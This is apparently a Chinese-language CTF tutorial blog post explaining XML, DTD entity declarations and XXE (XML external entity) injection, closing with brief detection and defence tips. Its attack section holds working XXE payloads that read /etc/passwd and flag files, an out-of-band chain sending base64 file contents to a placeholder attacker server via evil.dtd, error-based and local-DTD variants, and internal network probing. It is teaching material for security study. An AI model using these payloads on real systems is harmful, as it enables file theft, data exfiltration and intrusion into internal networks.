Reference

CTF XXE - MustaphaMond - 博客园 (cnblogs.com)

XML

什么是XML

XML(Extensible Markup Language)是一种广泛使用的标记语言,它设计用于存储和传输数据。XML提供了一种既有结构又灵活的方式来描述数据和数据之间的关系,使其在各种应用程序和网络服务中都非常有用。它是自描述的,这意味着标签本身就能描述数据的内容。

XML与HTML间的区别

  1. XML被设计为传输和存储数据,其焦点是数据的内容
  2. HTML被设计用来显示数据,其焦点是数据的外观
  3. HTML旨在显示信息,而XML旨在传输信息

XML文档结构

XML文档结构包括:

  • XML声明
  • DTD文档类型定义(可选)
  • 文档元素
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<!--XML声明-->
<?xml version="1.0" encoding="UTF-8"?>

<!--DTD,这部分可选的-->
<!DOCTYPE bookstore [
<!ELEMENT bookstore (book+)>
<!ELEMENT book (title, author, year, price)>
<!ATTLIST book category CDATA #REQUIRED>
<!ELEMENT title (#PCDATA)>
<!ELEMENT author (#PCDATA)>
<!ELEMENT year (#PCDATA)>
<!ELEMENT price (#PCDATA)>
]>

<!--文档元素--> <bookstore>
<book category="cooking">
<title>Everyday Italian</title>
<author>Giada De Laurentiis</author>
<year>2005</year>
<price>30.00</price>
</book>
<book category="children">
<title>Harry Potter</title>
<author>J.K. Rowling</author>
<year>2005</year>
<price>29.99</price>
</book>
</bookstore>

DTD

定义

XML的DTD(Document Type Definition)是一种用于定义XML文档结构的规范,它指定了文档中允许的元素、属性、实体和符合规范的XML文档应遵循的其他规则。

DTD可以存在于XML文档内部(内部DTD),也可以作为一个独立的外部文件(外部DTD)被多个XML文档共享。

主要组件

  1. 元素声明:定义文档中可以使用哪些元素以及这些元素的内容类型。例如:

    1
    <!ELEMENT book (title, author, year, price)>

    这表示每个 <book> 元素必须包含一个 <title>、一个 <author>、一个 <year> 和一个 <price>

  2. 属性声明:定义元素可以拥有的属性及其类型。例如:

    1
    <!ATTLIST book category CDATA #REQUIRED>

    这表示 <book> 元素必须有一个 category 属性,其类型为字符数据(CDATA),并且该属性是必需的。

  3. 实体声明:定义常用数据的缩写。例如:

    1
    <!ENTITY publisher "John Wiley & Sons">

    这允许在文档中多次引用 publisher 实体,而不是重复相同的文本。

实体声明

在XXE漏洞利用中,我们主要关注DTD中的实体声明方式

内部实体

内部实体可以理解为将特定的文本字符串赋值给一个名称,例如:

1
2
3
4
<!DOCTYPE note [
<!ENTITY name "R1ck">
]>
<note>&a</note>

外部实体

外部实体引用外部资源,比如文件或是Web资源。这些实体的声明指向资源的URI。

1
2
3
4
<!DOCTYPE note [
<!ENTITY flag SYSTEM "php://filter/read=convert.base64-encode/resource=flag.php">
]>
<note>&flag</note>

外部引用可支持http,file等协议,不同的语言支持的协议不同,但存在一些通用的协议,具体内容如下所示:

参数实体

参数实体也可以分为内部和外部

1
2
3
4
<!-- 内部参数实体 -->
<!ENTITY % entityName "entityValue">
<!-- 内部参数实体 -->
<!ENTITY % entityName SYSTEM "http://127.0.0.1/xml.dtd">

在DTD中引用参数实体时,使用 % 符号,并跟上实体的名称和分号,如下所示:

1
%entityName;

下面给出一个完整示例

1
2
3
4
<!ENTITY % commonAttrs "id ID #REQUIRED author CDATA #IMPLIED">
<!ELEMENT book (%commonAttrs;)>
<!ELEMENT magazine (%commonAttrs;)>
<!ELEMENT article (%commonAttrs;)>

需要注意的是参数实体与其他实体间在声明和引用方法上的区别

  • 参数实体用% name声明,引用时用%name;,只能在DTD中申明,DTD中引用。
  • 其余实体直接用name声明,引用时用&name;,只能在DTD中申明,可在xml文档中引用

局限性

  • DTD语法相对简单,不能定义一些更复杂的数据类型和约束。
  • 不支持命名空间,这在处理来自不同来源的XML数据时可能会导致问题。
  • 可能容易受到某些类型的XML攻击,如XML注入攻击。

尽管XML Schema(XSD)提供了比DTD更复杂和功能丰富的数据验证工具,但DTD仍然因其简单性和广泛的支持而被广泛使用。

XML外部实体注入(XML External Entity)

XML 外部实体注入(也称为 XXE)是一种 Web 安全漏洞,允许攻击者干扰应用程序对 XML 数据的处理。

XXE为什么不叫XEE,主要是第二个单词External也发x的音

我们可以根据XEE漏洞的危害场景来分类利用方法,XXE 可以用来泄露文件、执行服务器端请求伪造(SSRF)、内网探测、执行远程代码以及拒绝服务攻击等

任意文件读取

XXE 最常见的利用方式之一是访问本地文件,从而泄露敏感信息。攻击者可以通过定义外部实体来访问系统文件

当然,在任意文件读取场景下,还可以细分为有回显和无回显

有回显

  1. 恶意引入外部实体

    通过引入靶机的本地文件作为外部实体,可以直接读取靶机文件

    1
    2
    3
    4
    5
    <?xml version="1.0" encoding="UTF-8" ?>
    <!DOCTYPE foo [
    <!ENTITY rabbit SYSTEM "file:///flag" >
    ]>
    <user><username>&rabbit;</username><password>123</password></user>
  2. 恶意引入外部参数实体

    我们也可以提前在dtd文件中将常见的敏感目录定义为外部实体,再通过外部参数实体引入

    1
    2
    3
    4
    5
    6
    <?xml version="1.0" ?>
    <!DOCTYPE test [
    <!ENTITY % file SYSTEM "http://vps-ip/hack.dtd">
    %file;
    ]>
    <test>&hhh;</test>
    1
    <!ENTITY hhh SYSTEM 'file:///etc/passwd'>

无回显

  1. OOB

    先使用php://filter获取目标文件的内容,然后将内容以http请求发送到接受数据的服务器(攻击服务器)xxx.xxx.xxx。

    1
    2
    3
    4
    5
    6
    <!DOCTYPE updateProfile [
    <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=./target.php">
    <!ENTITY % dtd SYSTEM "http://xxx.xxx.xxx/evil.dtd">
    %dtd;
    %send;
    ]>

    evil.dtd的内容,内部的%号要进行实体编码成&#x25。

    在XML中,当使用字符实体引用来表示特殊字符或者Unicode字符时,语法要求使用分号(;)来结束实体引用。

    1
    2
    3
    4
    <!ENTITY % all
    "<!ENTITY &#x25; send SYSTEM 'http://xxx.xxx.xxx/?data=%file;'>"
    >
    %all;
  2. 基于报错

    当然,如果靶机不允许与其他服务器通信,我们也可以通过报错来读取文件

    与刚刚OOB的方法上只用细微的差别,即远程传输的url处构造一个错误的url

    示例如下

    1
    2
    3
    <!-- xml.dtd -->
    <!ENTITY % start "<!ENTITY &#x25; send SYSTEM 'file:///hhhhhhh/%file;'>">
    %start;

    如果靶机防火墙不允许我们请求外网服务器DTD,可以尝试在靶机的已知DTD文件中新增一些实体内容

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    <?xml version="1.0"?>
    <!DOCTYPE message [
    <!ENTITY % remote SYSTEM "/usr/share/yelp/dtd/docbookx.dtd">
    <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag">
    <!ENTITY % ISOamso '
    <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; send SYSTEM &#x27;file://hhhhhhhh/?&#x25;file;&#x27;>">
    &#x25;eval;
    &#x25;send;
    '>
    %remote;
    ]>
    <message>1234</message>

    已知/usr/share/yelp/dtd/docbookx.dtd文件中会调用%ISOamso,继而调用eval和send

内网探测

将URI改成内网机器地址,我们就可以探测靶机内网中的主机和文件

1
2
3
4
5
6
<?xml version="1.0" encoding="UTF-8"?>        
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY rabbit SYSTEM "http://127.0.0.1/1.txt" >
]>
<user><firstname>&rabbit;</firstname><lastname>666</lastname></user>

漏洞探测

XXE黑盒发现

  1. 当Content-Type或数据类型为xml时,尝试进行xml语言payload测试
  2. 即使Content-Type或数据类型不为xml,我们也可以尝试使用xml语言payload测试

  3. XXE不仅在数据传输上可能存在漏洞,同样在文件上传引用插件解析或预览也会造成文件中的XXE payload被执行。例如svg和excel引用

XXE白盒发现

  1. 在php源码中搜索处理XML的函数
  2. 追踪经常涉及到XML的功能

漏洞防御

  1. 禁用外部实体
  2. 过滤用户提交的XML数据